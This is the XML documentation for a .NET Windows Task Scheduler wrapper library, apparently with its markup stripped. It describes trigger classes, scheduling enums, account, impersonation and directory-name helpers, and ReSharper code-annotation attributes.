Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the + ITriggerDelay interface. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only + available for reading custom triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every + other day, every third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or + Windows Server 2003 and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from + the subscription query specified in the Subscription property. The name of the query can be used as a variable in the message of + a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all + entries in the property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task + Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using + the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are + enumerated and any tasks registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, + then do not assign a value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty + LogonTrigger.UserId property and assign a value to the principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May + through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 + to 32 and bits are numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits + are considered to number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only + available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Occurs when a property value changes. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the + pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or + locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of + the week every week or every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of triggers in the collection. + + + Gets or sets a specified trigger from the collection. + The . + The id ( ) of the trigger to be retrieved. + Specialized instance. + + + + Mismatching Id for trigger and lookup. + + + Gets a specified trigger from the collection. + The index of the trigger to be retrieved. + Specialized instance. + + + Add an unbound to the task. + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + Add a new trigger to the collections of triggers for the task. + The type of trigger to create. + A instance of the specified type. + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and + cannot contain null elements. + + is null. + + + Clears all triggers from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified trigger type is contained in this collection. + Type of the trigger. + true if the specified trigger type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an , starting at a particular index. + + + The one-dimensional that is the destination of the elements copied from . The + must have zero-based indexing. + + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + The for this collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the trigger to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an trigger at the specified index. + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the trigger at a specified index. + Index of trigger to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the triggers in this collection. + A that represents the triggers in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Releases all resources used by this class. + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. 